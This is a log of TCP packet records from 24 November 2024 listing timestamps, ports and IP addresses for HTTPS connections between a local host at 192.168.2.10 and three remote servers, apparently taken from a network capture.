Nov 24, 2024 08:43:53.476886988 CET	443	49745	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.505172014 CET	443	49748	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:53.505255938 CET	49748	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:53.506489038 CET	49748	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:53.506503105 CET	443	49748	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:53.506892920 CET	443	49748	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:53.508068085 CET	49748	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:53.508244991 CET	49748	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:53.508282900 CET	443	49748	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:53.508404970 CET	49748	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:53.508414984 CET	443	49748	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:53.554824114 CET	443	49747	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.555330992 CET	49747	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.555341005 CET	443	49747	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.555948019 CET	49747	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.555953026 CET	443	49747	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.586697102 CET	443	49746	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.587268114 CET	49746	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.587281942 CET	443	49746	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.587688923 CET	49746	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.587694883 CET	443	49746	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.747349024 CET	443	49743	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.747448921 CET	443	49743	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.747631073 CET	49743	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.747661114 CET	49743	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.747680902 CET	443	49743	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.747693062 CET	49743	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.747698069 CET	443	49743	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.750339031 CET	49750	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.750365973 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.750472069 CET	49750	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.750680923 CET	49750	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.750691891 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.901660919 CET	443	49744	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.901738882 CET	443	49744	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.901849031 CET	49744	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.902013063 CET	49744	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.902014017 CET	49744	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.902040005 CET	443	49744	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.902050018 CET	443	49744	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.904808998 CET	49751	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.904859066 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.904931068 CET	49751	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.905052900 CET	49751	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.905066013 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.910648108 CET	443	49745	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.910727978 CET	443	49745	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.910849094 CET	49745	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.910881042 CET	49745	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.910897970 CET	443	49745	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.910907984 CET	49745	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.910912991 CET	443	49745	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.912919998 CET	49752	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.912960052 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.913024902 CET	49752	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.913144112 CET	49752	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.913156986 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.992496967 CET	443	49747	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.992569923 CET	443	49747	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.992619038 CET	49747	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.992847919 CET	49747	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.992872953 CET	443	49747	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.992894888 CET	49747	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.992899895 CET	443	49747	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.995924950 CET	49753	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.995970964 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:53.996093035 CET	49753	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.996365070 CET	49753	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:53.996376991 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:54.030461073 CET	443	49746	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:54.030536890 CET	443	49746	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:54.030647039 CET	49746	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:54.030792952 CET	49746	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:54.030814886 CET	443	49746	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:54.030884027 CET	49746	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:54.030890942 CET	443	49746	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:54.033885956 CET	49754	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:54.033927917 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:54.033999920 CET	49754	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:54.034226894 CET	49754	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:54.034244061 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:54.390080929 CET	443	49748	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:54.390219927 CET	443	49748	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:54.390347958 CET	49748	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:54.390372038 CET	49748	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:54.827092886 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:54.827152967 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:54.827224016 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:54.827569962 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:54.827585936 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:54.946984053 CET	49742	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:43:54.991337061 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.529654026 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.529695988 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.529704094 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.529712915 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.529740095 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.529783964 CET	49742	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:43:55.529808998 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.529830933 CET	49742	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:43:55.529855013 CET	49742	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:43:55.552632093 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.552727938 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:55.552771091 CET	49742	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:43:55.552810907 CET	49742	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:43:55.597414017 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.597970963 CET	49750	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.598006964 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.598464966 CET	49750	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.598481894 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.693698883 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.694247961 CET	49752	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.694278002 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.694744110 CET	49752	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.694751024 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.749444008 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.749953985 CET	49751	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.749988079 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.750451088 CET	49751	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.750463963 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.811482906 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.811974049 CET	49753	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.812016964 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.812448025 CET	49753	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.812458038 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.868432045 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.869312048 CET	49754	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.869347095 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:55.870270967 CET	49754	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:55.870289087 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.039936066 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:56.040021896 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:56.041397095 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:56.041409969 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:56.041687012 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:56.043293953 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:56.043423891 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:56.043430090 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:56.050406933 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.050482035 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.050685883 CET	49750	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.050781965 CET	49750	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.050801992 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.050812006 CET	49750	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.050817013 CET	443	49750	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.053596973 CET	49758	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.053647041 CET	443	49758	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.053725958 CET	49758	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.054054976 CET	49758	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.054069042 CET	443	49758	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.140954018 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.141051054 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.141105890 CET	49752	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.141293049 CET	49752	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.141293049 CET	49752	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.141315937 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.141325951 CET	443	49752	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.143748045 CET	49759	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.143799067 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.144053936 CET	49759	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.144211054 CET	49759	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.144223928 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.202004910 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.202079058 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.202327013 CET	49751	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.202442884 CET	49751	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.202464104 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.202477932 CET	49751	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.202483892 CET	443	49751	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.205267906 CET	49760	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.205341101 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.205463886 CET	49760	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.205657959 CET	49760	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.205672026 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.255105019 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.255187988 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.255253077 CET	49753	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.255472898 CET	49753	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.255497932 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.255508900 CET	49753	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.255513906 CET	443	49753	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.258392096 CET	49761	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.258435965 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.258507967 CET	49761	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.258677006 CET	49761	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.258691072 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.301577091 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.301698923 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.301764965 CET	49754	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.301903963 CET	49754	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.301925898 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.301939011 CET	49754	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.301945925 CET	443	49754	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.305083036 CET	49762	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.305120945 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.305268049 CET	49762	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.305439949 CET	49762	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:56.305449963 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:56.757333040 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:56.757442951 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:56.757529974 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:56.757641077 CET	49755	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:56.757668018 CET	443	49755	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:57.056982040 CET	49742	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:43:57.057018042 CET	443	49742	4.175.87.197	192.168.2.10
Nov 24, 2024 08:43:57.479331017 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:57.479392052 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:57.479562998 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:57.479882002 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:57.479892969 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:57.729711056 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:57.730226040 CET	49759	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:57.730247021 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:57.731936932 CET	49759	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:57.731954098 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:57.833965063 CET	443	49758	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:57.834460974 CET	49758	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:57.834525108 CET	443	49758	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:57.834991932 CET	49758	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:57.835005999 CET	443	49758	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.037508965 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.038049936 CET	49761	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.038090944 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.038584948 CET	49761	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.038590908 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.048821926 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.049362898 CET	49760	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.049391985 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.049880981 CET	49760	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.049890041 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.083271027 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.084119081 CET	49762	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.084144115 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.084568024 CET	49762	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.084573984 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.172461033 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.172521114 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.172707081 CET	49759	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.172785044 CET	49759	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.172806978 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.172825098 CET	49759	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.172831059 CET	443	49759	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.175563097 CET	49764	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.175615072 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.175750971 CET	49764	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.175884962 CET	49764	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.175899029 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.277400970 CET	443	49758	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.277471066 CET	443	49758	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.277688026 CET	49758	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.278201103 CET	49758	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.278225899 CET	443	49758	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.289244890 CET	49765	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.289299965 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.290721893 CET	49765	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.290918112 CET	49765	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.290930033 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.481391907 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.481479883 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.481841087 CET	49761	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.481959105 CET	49761	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.481988907 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.482002974 CET	49761	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.482008934 CET	443	49761	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.485804081 CET	49766	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.485851049 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.485912085 CET	49766	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.486093044 CET	49766	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.486105919 CET	443	49766	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.501972914 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.502069950 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.502118111 CET	49760	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.502301931 CET	49760	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.502301931 CET	49760	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.502320051 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.502329111 CET	443	49760	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.505702972 CET	49767	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.505754948 CET	443	49767	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.505825996 CET	49767	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.505980015 CET	49767	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.505996943 CET	443	49767	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.527403116 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.527482033 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.527565956 CET	49762	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.527776957 CET	49762	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.527776957 CET	49762	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.527806997 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.527815104 CET	443	49762	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.531090975 CET	49768	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.531138897 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.531462908 CET	49768	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.531689882 CET	49768	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:58.531702995 CET	443	49768	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:58.788382053 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.788480997 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.789747000 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.789757967 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.790010929 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.803749084 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.804512978 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.804550886 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.804764986 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.804791927 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.804905891 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.804934978 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.805058002 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.805094004 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.805237055 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.805273056 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.805430889 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.805460930 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.805471897 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.805485010 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.805607080 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.805635929 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.805655956 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.805782080 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.805813074 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.851334095 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.851501942 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.851574898 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.851610899 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.899334908 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:58.899451971 CET	49763	443	192.168.2.10	172.67.162.84
Nov 24, 2024 08:43:58.943334103 CET	443	49763	172.67.162.84	192.168.2.10
Nov 24, 2024 08:43:59.956000090 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:59.956574917 CET	49764	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:59.956612110 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:43:59.957087040 CET	49764	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:43:59.957094908 CET	443	49764	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.077833891 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.078376055 CET	49765	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.078397989 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.078952074 CET	49765	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.078965902 CET	443	49765	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.298204899 CET	443	49767	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.298974037 CET	49767	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.299000978 CET	443	49767	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:00.299423933 CET	49767	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:00.299428940 CET	443	49767	13.107.246.63	192.168.2.10
